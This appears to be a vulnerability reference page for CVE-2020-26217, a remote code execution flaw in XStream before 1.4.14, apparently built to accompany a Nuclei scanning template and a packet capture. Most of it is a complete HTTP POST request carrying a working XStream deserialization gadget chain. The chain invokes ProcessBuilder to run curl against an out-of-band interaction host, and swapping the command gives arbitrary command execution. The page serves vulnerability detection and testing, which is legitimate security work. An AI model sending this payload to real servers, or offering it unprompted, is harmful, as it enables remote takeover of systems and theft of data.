CVE-2020-26217: XStream <1.4.14 - Remote Code Execution

🔍 Vulnerability Description

XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5
Connection: close
Content-Length: 2105
Content-Type: application/xml
Accept-Encoding: gzip

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>

        <dataHandler>

          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>

            <contentType>text/plain</contentType>

            <is class='java.io.SequenceInputStream'>

              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>

                <iterator class='javax.imageio.spi.FilterIterator'>

                  <iter class='java.util.ArrayList$Itr'>

                    <cursor>0</cursor>

                    <lastRet>-1</lastRet>

                    <expectedModCount>1</expectedModCount>

                    <outer-class>

                      <java.lang.ProcessBuilder>

                        <command>

                          <string>curl</string>

                          <string>http://d5joq8hle0o44o66gj7gcj96abimjwudy.oast.live</string>

                        </command>

                      </java.lang.ProcessBuilder>

                    </outer-class>

                  </iter>

                  <filter class='javax.imageio.ImageIO$ContainsFilter'>

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>start</name>

                  </filter>

                  <next/>

                </iterator>

                <type>KEYS</type>

              </e>

              <in class='java.io.ByteArrayInputStream'>

                <buf></buf>

                <pos>0</pos>

                <mark>0</mark>

                <count>0</count>

              </in>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <string>test</string>

  </entry>

</map>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26217.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-26217.pcap